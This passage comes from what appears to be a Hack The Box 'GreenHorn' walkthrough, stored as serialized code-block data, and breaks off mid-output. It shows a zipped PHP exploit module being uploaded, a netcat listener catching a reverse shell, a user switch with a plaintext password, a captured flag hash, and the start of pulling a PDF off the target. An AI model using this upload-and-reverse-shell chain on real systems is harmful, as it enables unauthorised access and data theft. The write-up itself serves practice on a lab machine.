printit",[28,5457,4262],{"class":909},[28,5459,5460],{"class":1291},"$string",[28,5462,2198],{"class":909},[28,5464,4312],{"class":909},[28,5466,5467,5469,5471,5473,5475,5477],{"class":30,"line":2083},[28,5468,4299],{"class":4258},[28,5470,4262],{"class":909},[28,5472,4552],{"class":924},[28,5474,4231],{"class":1291},[28,5476,2198],{"class":909},[28,5478,4312],{"class":909},[28,5480,5481,5484,5486,5488,5490,5492],{"class":30,"line":2089},[28,5482,5483],{"class":97}," print",[28,5485,4140],{"class":909},[28,5487,5460],{"class":1291},[28,5489,1990],{"class":54},[28,5491,1529],{"class":909},[28,5493,2201],{"class":909},[28,5495,5496],{"class":30,"line":2095},[28,5497,4343],{"class":909},[28,5499,5500],{"class":30,"line":2110},[28,5501,4035],{"class":909},[28,5503,5504],{"class":30,"line":2116},[28,5505,71],{"emptyLinePlaceholder":70},[28,5507,5508],{"class":30,"line":2130},[28,5509,4040],{"class":924},[11,5511,5512],{},"This is what the contents of my folder looked like.",[15,5514,5515],{},[18,5516,5518],{"className":20,"code":5517,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop\u002FGreenHorn\u002Fdata\u002Fmodules\u002Fexploit]\n└──╼ [★]$ ls\nexploit.php exploit.site.php images lang\n",[25,5519,5520,5525,5532],{"__ignoreMap":23},[28,5521,5522],{"class":30,"line":31},[28,5523,5524],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop\u002FGreenHorn\u002Fdata\u002Fmodules\u002Fexploit]\n",[28,5526,5527,5529],{"class":30,"line":38},[28,5528,41],{"class":34},[28,5530,5531],{"class":169}," [★]$ ls\n",[28,5533,5534,5537,5540,5543],{"class":30,"line":48},[28,5535,5536],{"class":34},"exploit.php",[28,5538,5539],{"class":54}," exploit.site.php",[28,5541,5542],{"class":54}," images",[28,5544,5545],{"class":54}," lang\n",[11,5547,5548],{},"As only ZIP files are allowed for the upload, we now zip the “exploit” folder into a ZIP file.",[15,5550,5551],{},[18,5552,5554],{"className":20,"code":5553,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop\u002FGreenHorn\u002Fdata\u002Fmodules]\n└──╼ [★]$ zip -r exploit.zip exploit\u002F\n adding: exploit\u002F (stored 0%)\n adding: exploit\u002Fexploit.site.php (deflated 60%)\n adding: exploit\u002Fexploit.php (deflated 61%)\n adding: exploit\u002Flang\u002F (stored 0%)\n adding: exploit\u002Flang\u002Fhu.php (deflated 49%)\n adding: exploit\u002Flang\u002Fpt_br.php (deflated 52%)\n adding: exploit\u002Flang\u002Fno.php (deflated 53%)\n adding: exploit\u002Flang\u002Fth.php (deflated 62%)\n adding: exploit\u002Flang\u002Fel.php (deflated 55%)\n adding: exploit\u002Flang\u002Fru.php (deflated 50%)\n adding: exploit\u002Flang\u002Fhe.php (deflated 53%)\n adding: exploit\u002Flang\u002Fde.php (deflated 51%)\n adding: exploit\u002Flang\u002Fnl.php (deflated 53%)\n adding: exploit\u002Flang\u002Ffr.php (deflated 52%)\n adding: exploit\u002Flang\u002Fsl.php (deflated 50%)\n adding: exploit\u002Flang\u002Fpt.php (deflated 53%)\n adding: exploit\u002Flang\u002Ffa.php (deflated 54%)\n adding: exploit\u002Flang\u002Ffi.php (deflated 51%)\n adding: exploit\u002Flang\u002Ftr.php (deflated 51%)\n adding: exploit\u002Flang\u002Fja.php (deflated 44%)\n adding: exploit\u002Flang\u002Fbg.php (deflated 55%)\n adding: exploit\u002Flang\u002Fpl.php (deflated 50%)\n adding: exploit\u002Flang\u002Fes.php (deflated 54%)\n adding: exploit\u002Flang\u002Fen.php (deflated 54%)\n adding: exploit\u002Flang\u002Fsv.php (deflated 52%)\n adding: exploit\u002Flang\u002Fit.php (deflated 52%)\n adding: exploit\u002Flang\u002Fsk.php (deflated 49%)\n adding: exploit\u002Flang\u002Fca.php (deflated 55%)\n adding: exploit\u002Flang\u002Flt.php (deflated 51%)\n adding: exploit\u002Flang\u002Fzh-tw.php (deflated 42%)\n adding: exploit\u002Flang\u002Fda.php (deflated 53%)\n adding: exploit\u002Flang\u002Fro.php (deflated 51%)\n adding: exploit\u002Flang\u002Flv.php (deflated 50%)\n adding: exploit\u002Flang\u002Fzh-cn.php (deflated 42%)\n adding: exploit\u002Flang\u002Fhr.php (deflated 49%)\n adding: exploit\u002Fimages\u002F (stored 0%)\n adding: exploit\u002Fimages\u002Fcontactform.png (stored 0%)\n",[25,5555,5556,5561,5568,5584,5599,5613,5626,5640,5654,5668,5682,5696,5710,5723,5737,5750,5763,5776,5789,5803,5816,5829,5843,5856,5869,5882,5895,5908,5921,5934,5947,5960,5974,5987,6000,6013,6026,6039,6052],{"__ignoreMap":23},[28,5557,5558],{"class":30,"line":31},[28,5559,5560],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop\u002FGreenHorn\u002Fdata\u002Fmodules]\n",[28,5562,5563,5565],{"class":30,"line":38},[28,5564,41],{"class":34},[28,5566,5567],{"class":169}," [★]$ zip -r exploit.zip exploit\u002F\n",[28,5569,5570,5573,5576,5579,5582],{"class":30,"line":48},[28,5571,5572],{"class":34}," adding:",[28,5574,5575],{"class":54}," exploit\u002F",[28,5577,5578],{"class":169}," (stored ",[28,5580,5581],{"class":54},"0%",[28,5583,428],{"class":169},[28,5585,5586,5588,5591,5594,5597],{"class":30,"line":58},[28,5587,5572],{"class":34},[28,5589,5590],{"class":54}," exploit\u002Fexploit.site.php",[28,5592,5593],{"class":169}," (deflated ",[28,5595,5596],{"class":54},"60%",[28,5598,428],{"class":169},[28,5600,5601,5603,5606,5608,5611],{"class":30,"line":67},[28,5602,5572],{"class":34},[28,5604,5605],{"class":54}," exploit\u002Fexploit.php",[28,5607,5593],{"class":169},[28,5609,5610],{"class":54},"61%",[28,5612,428],{"class":169},[28,5614,5615,5617,5620,5622,5624],{"class":30,"line":74},[28,5616,5572],{"class":34},[28,5618,5619],{"class":54}," exploit\u002Flang\u002F",[28,5621,5578],{"class":169},[28,5623,5581],{"class":54},[28,5625,428],{"class":169},[28,5627,5628,5630,5633,5635,5638],{"class":30,"line":83},[28,5629,5572],{"class":34},[28,5631,5632],{"class":54}," exploit\u002Flang\u002Fhu.php",[28,5634,5593],{"class":169},[28,5636,5637],{"class":54},"49%",[28,5639,428],{"class":169},[28,5641,5642,5644,5647,5649,5652],{"class":30,"line":88},[28,5643,5572],{"class":34},[28,5645,5646],{"class":54}," exploit\u002Flang\u002Fpt_br.php",[28,5648,5593],{"class":169},[28,5650,5651],{"class":54},"52%",[28,5653,428],{"class":169},[28,5655,5656,5658,5661,5663,5666],{"class":30,"line":94},[28,5657,5572],{"class":34},[28,5659,5660],{"class":54}," exploit\u002Flang\u002Fno.php",[28,5662,5593],{"class":169},[28,5664,5665],{"class":54},"53%",[28,5667,428],{"class":169},[28,5669,5670,5672,5675,5677,5680],{"class":30,"line":113},[28,5671,5572],{"class":34},[28,5673,5674],{"class":54}," exploit\u002Flang\u002Fth.php",[28,5676,5593],{"class":169},[28,5678,5679],{"class":54},"62%",[28,5681,428],{"class":169},[28,5683,5684,5686,5689,5691,5694],{"class":30,"line":122},[28,5685,5572],{"class":34},[28,5687,5688],{"class":54}," exploit\u002Flang\u002Fel.php",[28,5690,5593],{"class":169},[28,5692,5693],{"class":54},"55%",[28,5695,428],{"class":169},[28,5697,5698,5700,5703,5705,5708],{"class":30,"line":131},[28,5699,5572],{"class":34},[28,5701,5702],{"class":54}," exploit\u002Flang\u002Fru.php",[28,5704,5593],{"class":169},[28,5706,5707],{"class":54},"50%",[28,5709,428],{"class":169},[28,5711,5712,5714,5717,5719,5721],{"class":30,"line":139},[28,5713,5572],{"class":34},[28,5715,5716],{"class":54}," exploit\u002Flang\u002Fhe.php",[28,5718,5593],{"class":169},[28,5720,5665],{"class":54},[28,5722,428],{"class":169},[28,5724,5725,5727,5730,5732,5735],{"class":30,"line":346},[28,5726,5572],{"class":34},[28,5728,5729],{"class":54}," exploit\u002Flang\u002Fde.php",[28,5731,5593],{"class":169},[28,5733,5734],{"class":54},"51%",[28,5736,428],{"class":169},[28,5738,5739,5741,5744,5746,5748],{"class":30,"line":361},[28,5740,5572],{"class":34},[28,5742,5743],{"class":54}," exploit\u002Flang\u002Fnl.php",[28,5745,5593],{"class":169},[28,5747,5665],{"class":54},[28,5749,428],{"class":169},[28,5751,5752,5754,5757,5759,5761],{"class":30,"line":376},[28,5753,5572],{"class":34},[28,5755,5756],{"class":54}," exploit\u002Flang\u002Ffr.php",[28,5758,5593],{"class":169},[28,5760,5651],{"class":54},[28,5762,428],{"class":169},[28,5764,5765,5767,5770,5772,5774],{"class":30,"line":400},[28,5766,5572],{"class":34},[28,5768,5769],{"class":54}," exploit\u002Flang\u002Fsl.php",[28,5771,5593],{"class":169},[28,5773,5707],{"class":54},[28,5775,428],{"class":169},[28,5777,5778,5780,5783,5785,5787],{"class":30,"line":431},[28,5779,5572],{"class":34},[28,5781,5782],{"class":54}," exploit\u002Flang\u002Fpt.php",[28,5784,5593],{"class":169},[28,5786,5665],{"class":54},[28,5788,428],{"class":169},[28,5790,5791,5793,5796,5798,5801],{"class":30,"line":448},[28,5792,5572],{"class":34},[28,5794,5795],{"class":54}," exploit\u002Flang\u002Ffa.php",[28,5797,5593],{"class":169},[28,5799,5800],{"class":54},"54%",[28,5802,428],{"class":169},[28,5804,5805,5807,5810,5812,5814],{"class":30,"line":466},[28,5806,5572],{"class":34},[28,5808,5809],{"class":54}," exploit\u002Flang\u002Ffi.php",[28,5811,5593],{"class":169},[28,5813,5734],{"class":54},[28,5815,428],{"class":169},[28,5817,5818,5820,5823,5825,5827],{"class":30,"line":487},[28,5819,5572],{"class":34},[28,5821,5822],{"class":54}," exploit\u002Flang\u002Ftr.php",[28,5824,5593],{"class":169},[28,5826,5734],{"class":54},[28,5828,428],{"class":169},[28,5830,5831,5833,5836,5838,5841],{"class":30,"line":503},[28,5832,5572],{"class":34},[28,5834,5835],{"class":54}," exploit\u002Flang\u002Fja.php",[28,5837,5593],{"class":169},[28,5839,5840],{"class":54},"44%",[28,5842,428],{"class":169},[28,5844,5845,5847,5850,5852,5854],{"class":30,"line":519},[28,5846,5572],{"class":34},[28,5848,5849],{"class":54}," exploit\u002Flang\u002Fbg.php",[28,5851,5593],{"class":169},[28,5853,5693],{"class":54},[28,5855,428],{"class":169},[28,5857,5858,5860,5863,5865,5867],{"class":30,"line":548},[28,5859,5572],{"class":34},[28,5861,5862],{"class":54}," exploit\u002Flang\u002Fpl.php",[28,5864,5593],{"class":169},[28,5866,5707],{"class":54},[28,5868,428],{"class":169},[28,5870,5871,5873,5876,5878,5880],{"class":30,"line":563},[28,5872,5572],{"class":34},[28,5874,5875],{"class":54}," exploit\u002Flang\u002Fes.php",[28,5877,5593],{"class":169},[28,5879,5800],{"class":54},[28,5881,428],{"class":169},[28,5883,5884,5886,5889,5891,5893],{"class":30,"line":580},[28,5885,5572],{"class":34},[28,5887,5888],{"class":54}," exploit\u002Flang\u002Fen.php",[28,5890,5593],{"class":169},[28,5892,5800],{"class":54},[28,5894,428],{"class":169},[28,5896,5897,5899,5902,5904,5906],{"class":30,"line":614},[28,5898,5572],{"class":34},[28,5900,5901],{"class":54}," exploit\u002Flang\u002Fsv.php",[28,5903,5593],{"class":169},[28,5905,5651],{"class":54},[28,5907,428],{"class":169},[28,5909,5910,5912,5915,5917,5919],{"class":30,"line":627},[28,5911,5572],{"class":34},[28,5913,5914],{"class":54}," exploit\u002Flang\u002Fit.php",[28,5916,5593],{"class":169},[28,5918,5651],{"class":54},[28,5920,428],{"class":169},[28,5922,5923,5925,5928,5930,5932],{"class":30,"line":644},[28,5924,5572],{"class":34},[28,5926,5927],{"class":54}," exploit\u002Flang\u002Fsk.php",[28,5929,5593],{"class":169},[28,5931,5637],{"class":54},[28,5933,428],{"class":169},[28,5935,5936,5938,5941,5943,5945],{"class":30,"line":656},[28,5937,5572],{"class":34},[28,5939,5940],{"class":54}," exploit\u002Flang\u002Fca.php",[28,5942,5593],{"class":169},[28,5944,5693],{"class":54},[28,5946,428],{"class":169},[28,5948,5949,5951,5954,5956,5958],{"class":30,"line":672},[28,5950,5572],{"class":34},[28,5952,5953],{"class":54}," exploit\u002Flang\u002Flt.php",[28,5955,5593],{"class":169},[28,5957,5734],{"class":54},[28,5959,428],{"class":169},[28,5961,5962,5964,5967,5969,5972],{"class":30,"line":689},[28,5963,5572],{"class":34},[28,5965,5966],{"class":54}," exploit\u002Flang\u002Fzh-tw.php",[28,5968,5593],{"class":169},[28,5970,5971],{"class":54},"42%",[28,5973,428],{"class":169},[28,5975,5976,5978,5981,5983,5985],{"class":30,"line":700},[28,5977,5572],{"class":34},[28,5979,5980],{"class":54}," exploit\u002Flang\u002Fda.php",[28,5982,5593],{"class":169},[28,5984,5665],{"class":54},[28,5986,428],{"class":169},[28,5988,5989,5991,5994,5996,5998],{"class":30,"line":716},[28,5990,5572],{"class":34},[28,5992,5993],{"class":54}," exploit\u002Flang\u002Fro.php",[28,5995,5593],{"class":169},[28,5997,5734],{"class":54},[28,5999,428],{"class":169},[28,6001,6002,6004,6007,6009,6011],{"class":30,"line":733},[28,6003,5572],{"class":34},[28,6005,6006],{"class":54}," exploit\u002Flang\u002Flv.php",[28,6008,5593],{"class":169},[28,6010,5707],{"class":54},[28,6012,428],{"class":169},[28,6014,6015,6017,6020,6022,6024],{"class":30,"line":744},[28,6016,5572],{"class":34},[28,6018,6019],{"class":54}," exploit\u002Flang\u002Fzh-cn.php",[28,6021,5593],{"class":169},[28,6023,5971],{"class":54},[28,6025,428],{"class":169},[28,6027,6028,6030,6033,6035,6037],{"class":30,"line":759},[28,6029,5572],{"class":34},[28,6031,6032],{"class":54}," exploit\u002Flang\u002Fhr.php",[28,6034,5593],{"class":169},[28,6036,5637],{"class":54},[28,6038,428],{"class":169},[28,6040,6041,6043,6046,6048,6050],{"class":30,"line":776},[28,6042,5572],{"class":34},[28,6044,6045],{"class":54}," exploit\u002Fimages\u002F",[28,6047,5578],{"class":169},[28,6049,5581],{"class":54},[28,6051,428],{"class":169},[28,6053,6054,6056,6059,6061,6063],{"class":30,"line":809},[28,6055,5572],{"class":34},[28,6057,6058],{"class":54}," exploit\u002Fimages\u002Fcontactform.png",[28,6060,5578],{"class":169},[28,6062,5581],{"class":54},[28,6064,428],{"class":169},[15,6066,6067],{},[18,6068,6070],{"className":20,"code":6069,"language":22,"meta":23,"style":23}," ┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\n",[25,6071,6072,6077,6084],{"__ignoreMap":23},[28,6073,6074],{"class":30,"line":31},[28,6075,6076],{"class":34}," ┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n",[28,6078,6079,6081],{"class":30,"line":38},[28,6080,41],{"class":34},[28,6082,6083],{"class":169}," [★]$ nc -lvnp 9001\n",[28,6085,6086,6089,6091],{"class":30,"line":48},[28,6087,6088],{"class":34},"listening",[28,6090,481],{"class":54},[28,6092,6093],{"class":169}," [any] 9001 ...\n",[11,6095,6096],{},"I then select the “exploit.zip”.",[11,6098,6099],{},[2485,6100],{"alt":23,"src":6101},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724212753867.webp",[11,6103,6104],{},"And click on Upload to upload the file.",[11,6106,6107],{},[2485,6108],{"alt":23,"src":6109},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724212824994.webp",[11,6111,6112],{},"Shortly afterwards, we receive a reverse shell.",[15,6114,6115],{},[18,6116,6118],{"className":20,"code":6117,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to [10.10.14.24] from (UNKNOWN) [10.129.211.233] 39640\nLinux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU\u002FLinux\n 14:13:40 up 43 min, 0 users, load average: 0.00, 0.00, 0.00\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nsh: 0: can't access tty; job control turned off\n$\n",[25,6119,6120,6124,6130,6138,6163,6176,6209,6235,6278,6293],{"__ignoreMap":23},[28,6121,6122],{"class":30,"line":31},[28,6123,162],{"class":34},[28,6125,6126,6128],{"class":30,"line":38},[28,6127,41],{"class":34},[28,6129,6083],{"class":169},[28,6131,6132,6134,6136],{"class":30,"line":48},[28,6133,6088],{"class":34},[28,6135,481],{"class":54},[28,6137,6093],{"class":169},[28,6139,6140,6143,6145,6148,6151,6153,6155,6158,6160],{"class":30,"line":58},[28,6141,6142],{"class":34},"connect",[28,6144,1054],{"class":54},[28,6146,6147],{"class":169}," [10.10.14.24] from (",[28,6149,6150],{"class":34},"UNKNOWN",[28,6152,4273],{"class":169},[28,6154,388],{"class":97},[28,6156,6157],{"class":169},"10.129.211.233",[28,6159,5043],{"class":97},[28,6161,6162],{"class":169}," 39640\n",[28,6164,6165,6167,6170,6173],{"class":30,"line":67},[28,6166,906],{"class":34},[28,6168,6169],{"class":54}," greenhorn",[28,6171,6172],{"class":54}," 5.15.0-113-generic",[28,6174,6175],{"class":44}," #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU\u002FLinux\n",[28,6177,6178,6181,6183,6186,6189,6192,6195,6198,6201,6204,6206],{"class":30,"line":74},[28,6179,6180],{"class":34}," 14:13:40",[28,6182,2443],{"class":54},[28,6184,6185],{"class":201}," 43",[28,6187,6188],{"class":54}," min,",[28,6190,6191],{"class":201}," 0",[28,6193,6194],{"class":54}," users,",[28,6196,6197],{"class":54}," load",[28,6199,6200],{"class":54}," average:",[28,6202,6203],{"class":54}," 0.00,",[28,6205,6203],{"class":54},[28,6207,6208],{"class":201}," 0.00\n",[28,6210,6211,6214,6217,6220,6223,6226,6229,6232],{"class":30,"line":83},[28,6212,6213],{"class":34},"USER",[28,6215,6216],{"class":54}," TTY",[28,6218,6219],{"class":54}," FROM",[28,6221,6222],{"class":54}," LOGIN@",[28,6224,6225],{"class":54}," IDLE",[28,6227,6228],{"class":54}," JCPU",[28,6230,6231],{"class":54}," PCPU",[28,6233,6234],{"class":54}," WHAT\n",[28,6236,6237,6240,6242,6245,6247,6250,6252,6255,6257,6259,6261,6263,6265,6268,6270,6272,6274,6276],{"class":30,"line":88},[28,6238,6239],{"class":1291},"uid",[28,6241,1295],{"class":924},[28,6243,6244],{"class":54},"33",[28,6246,4332],{"class":909},[28,6248,6249],{"class":34},"www-data",[28,6251,2198],{"class":909},[28,6253,6254],{"class":1291}," gid",[28,6256,1295],{"class":924},[28,6258,6244],{"class":54},[28,6260,4332],{"class":909},[28,6262,6249],{"class":34},[28,6264,2198],{"class":909},[28,6266,6267],{"class":1291}," groups",[28,6269,1295],{"class":924},[28,6271,6244],{"class":54},[28,6273,4332],{"class":909},[28,6275,6249],{"class":34},[28,6277,428],{"class":909},[28,6279,6280,6283,6286,6288,6290],{"class":30,"line":94},[28,6281,6282],{"class":34},"sh:",[28,6284,6285],{"class":54}," 0:",[28,6287,2882],{"class":54},[28,6289,2543],{"class":909},[28,6291,6292],{"class":54},"t access tty; job control turned off\n",[28,6294,6295],{"class":30,"line":113},[28,6296,6297],{"class":54},"$\n",[11,6299,6300],{},"Under “\u002Fhome” there are two folders with the names “git” and “junior”. I found the user.txt in the “junior” folder.",[15,6302,6303],{},[18,6304,6306],{"className":20,"code":6305,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to [10.10.14.24] from (UNKNOWN) [10.129.211.233] 39640\nLinux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU\u002FLinux\n 14:13:40 up 43 min, 0 users, load average: 0.00, 0.00, 0.00\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nsh: 0: can't access tty; job control turned off\n$ sudo -l\nsudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper\nsudo: a password is required\n$ cd \u002Fhome\u002F\n$ ls\ngit\njunior\n$ su junior\nPassword: iloveyou1\nwhoami\njunior\nls\ngit\njunior\ncd \u002Fhome\u002Fjunior\ncat user.txt\n4c7176876459041c6df062d5f9a2bb86\n",[25,6307,6308,6312,6318,6326,6346,6356,6380,6398,6436,6448,6453,6458,6463,6468,6473,6478,6483,6488,6493,6498,6502,6507,6511,6515,6520,6525],{"__ignoreMap":23},[28,6309,6310],{"class":30,"line":31},[28,6311,162],{"class":34},[28,6313,6314,6316],{"class":30,"line":38},[28,6315,41],{"class":34},[28,6317,6083],{"class":169},[28,6319,6320,6322,6324],{"class":30,"line":48},[28,6321,6088],{"class":34},[28,6323,481],{"class":54},[28,6325,6093],{"class":169},[28,6327,6328,6330,6332,6334,6336,6338,6340,6342,6344],{"class":30,"line":58},[28,6329,6142],{"class":34},[28,6331,1054],{"class":54},[28,6333,6147],{"class":169},[28,6335,6150],{"class":34},[28,6337,4273],{"class":169},[28,6339,388],{"class":97},[28,6341,6157],{"class":169},[28,6343,5043],{"class":97},[28,6345,6162],{"class":169},[28,6347,6348,6350,6352,6354],{"class":30,"line":67},[28,6349,906],{"class":34},[28,6351,6169],{"class":54},[28,6353,6172],{"class":54},[28,6355,6175],{"class":44},[28,6357,6358,6360,6362,6364,6366,6368,6370,6372,6374,6376,6378],{"class":30,"line":74},[28,6359,6180],{"class":34},[28,6361,2443],{"class":54},[28,6363,6185],{"class":201},[28,6365,6188],{"class":54},[28,6367,6191],{"class":201},[28,6369,6194],{"class":54},[28,6371,6197],{"class":54},[28,6373,6200],{"class":54},[28,6375,6203],{"class":54},[28,6377,6203],{"class":54},[28,6379,6208],{"class":201},[28,6381,6382,6384,6386,6388,6390,6392,6394,6396],{"class":30,"line":83},[28,6383,6213],{"class":34},[28,6385,6216],{"class":54},[28,6387,6219],{"class":54},[28,6389,6222],{"class":54},[28,6391,6225],{"class":54},[28,6393,6228],{"class":54},[28,6395,6231],{"class":54},[28,6397,6234],{"class":54},[28,6399,6400,6402,6404,6406,6408,6410,6412,6414,6416,6418,6420,6422,6424,6426,6428,6430,6432,6434],{"class":30,"line":88},[28,6401,6239],{"class":1291},[28,6403,1295],{"class":924},[28,6405,6244],{"class":54},[28,6407,4332],{"class":909},[28,6409,6249],{"class":34},[28,6411,2198],{"class":909},[28,6413,6254],{"class":1291},[28,6415,1295],{"class":924},[28,6417,6244],{"class":54},[28,6419,4332],{"class":909},[28,6421,6249],{"class":34},[28,6423,2198],{"class":909},[28,6425,6267],{"class":1291},[28,6427,1295],{"class":924},[28,6429,6244],{"class":54},[28,6431,4332],{"class":909},[28,6433,6249],{"class":34},[28,6435,428],{"class":909},[28,6437,6438,6440,6442,6444,6446],{"class":30,"line":94},[28,6439,6282],{"class":34},[28,6441,6285],{"class":54},[28,6443,2882],{"class":54},[28,6445,2543],{"class":909},[28,6447,6292],{"class":54},[28,6449,6450],{"class":30,"line":113},[28,6451,6452],{"class":54},"$ sudo -l\n",[28,6454,6455],{"class":30,"line":122},[28,6456,6457],{"class":54},"sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper\n",[28,6459,6460],{"class":30,"line":131},[28,6461,6462],{"class":54},"sudo: a password is required\n",[28,6464,6465],{"class":30,"line":139},[28,6466,6467],{"class":54},"$ cd \u002Fhome\u002F\n",[28,6469,6470],{"class":30,"line":346},[28,6471,6472],{"class":54},"$ ls\n",[28,6474,6475],{"class":30,"line":361},[28,6476,6477],{"class":54},"git\n",[28,6479,6480],{"class":30,"line":376},[28,6481,6482],{"class":54},"junior\n",[28,6484,6485],{"class":30,"line":400},[28,6486,6487],{"class":54},"$ su junior\n",[28,6489,6490],{"class":30,"line":431},[28,6491,6492],{"class":54},"Password: iloveyou1\n",[28,6494,6495],{"class":30,"line":448},[28,6496,6497],{"class":54},"whoami\n",[28,6499,6500],{"class":30,"line":466},[28,6501,6482],{"class":54},[28,6503,6504],{"class":30,"line":487},[28,6505,6506],{"class":54},"ls\n",[28,6508,6509],{"class":30,"line":503},[28,6510,6477],{"class":54},[28,6512,6513],{"class":30,"line":519},[28,6514,6482],{"class":54},[28,6516,6517],{"class":30,"line":548},[28,6518,6519],{"class":54},"cd \u002Fhome\u002Fjunior\n",[28,6521,6522],{"class":30,"line":563},[28,6523,6524],{"class":54},"cat user.txt\n",[28,6526,6527],{"class":30,"line":580},[28,6528,6529],{"class":54},"4c7176876459041c6df062d5f9a2bb86\n",[11,6531,6532],{},"There is also a “Using OpenVAS.pdf” file in the home directory of the user “junior”.",[15,6534,6535],{},[18,6536,6538],{"className":20,"code":6537,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to [10.10.14.24] from (UNKNOWN) [10.129.211.233] 47576\nLinux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU\u002FLinux\n 14:27:29 up 57 min, 0 users, load average: 0.01, 0.01, 0.00\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nsh: 0: can't access tty; job control turned off\n$ su junior\nPassword: iloveyou1\ncd \u002Fhome\u002Fjunior\nls\nuser.txt\nUsing OpenVAS.pdf\n",[25,6539,6540,6544,6550,6558,6579,6589,6616,6634,6672,6684,6688,6692,6696,6700,6705],{"__ignoreMap":23},[28,6541,6542],{"class":30,"line":31},[28,6543,162],{"class":34},[28,6545,6546,6548],{"class":30,"line":38},[28,6547,41],{"class":34},[28,6549,6083],{"class":169},[28,6551,6552,6554,6556],{"class":30,"line":48},[28,6553,6088],{"class":34},[28,6555,481],{"class":54},[28,6557,6093],{"class":169},[28,6559,6560,6562,6564,6566,6568,6570,6572,6574,6576],{"class":30,"line":58},[28,6561,6142],{"class":34},[28,6563,1054],{"class":54},[28,6565,6147],{"class":169},[28,6567,6150],{"class":34},[28,6569,4273],{"class":169},[28,6571,388],{"class":97},[28,6573,6157],{"class":169},[28,6575,5043],{"class":97},[28,6577,6578],{"class":169}," 47576\n",[28,6580,6581,6583,6585,6587],{"class":30,"line":67},[28,6582,906],{"class":34},[28,6584,6169],{"class":54},[28,6586,6172],{"class":54},[28,6588,6175],{"class":44},[28,6590,6591,6594,6596,6599,6601,6603,6605,6607,6609,6612,6614],{"class":30,"line":74},[28,6592,6593],{"class":34}," 14:27:29",[28,6595,2443],{"class":54},[28,6597,6598],{"class":201}," 57",[28,6600,6188],{"class":54},[28,6602,6191],{"class":201},[28,6604,6194],{"class":54},[28,6606,6197],{"class":54},[28,6608,6200],{"class":54},[28,6610,6611],{"class":54}," 0.01,",[28,6613,6611],{"class":54},[28,6615,6208],{"class":201},[28,6617,6618,6620,6622,6624,6626,6628,6630,6632],{"class":30,"line":83},[28,6619,6213],{"class":34},[28,6621,6216],{"class":54},[28,6623,6219],{"class":54},[28,6625,6222],{"class":54},[28,6627,6225],{"class":54},[28,6629,6228],{"class":54},[28,6631,6231],{"class":54},[28,6633,6234],{"class":54},[28,6635,6636,6638,6640,6642,6644,6646,6648,6650,6652,6654,6656,6658,6660,6662,6664,6666,6668,6670],{"class":30,"line":88},[28,6637,6239],{"class":1291},[28,6639,1295],{"class":924},[28,6641,6244],{"class":54},[28,6643,4332],{"class":909},[28,6645,6249],{"class":34},[28,6647,2198],{"class":909},[28,6649,6254],{"class":1291},[28,6651,1295],{"class":924},[28,6653,6244],{"class":54},[28,6655,4332],{"class":909},[28,6657,6249],{"class":34},[28,6659,2198],{"class":909},[28,6661,6267],{"class":1291},[28,6663,1295],{"class":924},[28,6665,6244],{"class":54},[28,6667,4332],{"class":909},[28,6669,6249],{"class":34},[28,6671,428],{"class":909},[28,6673,6674,6676,6678,6680,6682],{"class":30,"line":94},[28,6675,6282],{"class":34},[28,6677,6285],{"class":54},[28,6679,2882],{"class":54},[28,6681,2543],{"class":909},[28,6683,6292],{"class":54},[28,6685,6686],{"class":30,"line":113},[28,6687,6487],{"class":54},[28,6689,6690],{"class":30,"line":122},[28,6691,6492],{"class":54},[28,6693,6694],{"class":30,"line":131},[28,6695,6519],{"class":54},[28,6697,6698],{"class":30,"line":139},[28,6699,6506],{"class":54},[28,6701,6702],{"class":30,"line":346},[28,6703,6704],{"class":54},"user.txt\n",[28,6706,6707],{"class":30,"line":361},[28,6708,6709],{"class":54},"Using OpenVAS.pdf\n",[11,6711,6712],{},"I then used Python to start an HTTP server on the victim machine so that I could download the PDF to my machine.",[11,6714,6715],{},"Victim VM:",[15,6717,6718],{},[18,6719,6721],{"className":20,"code":6720,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to 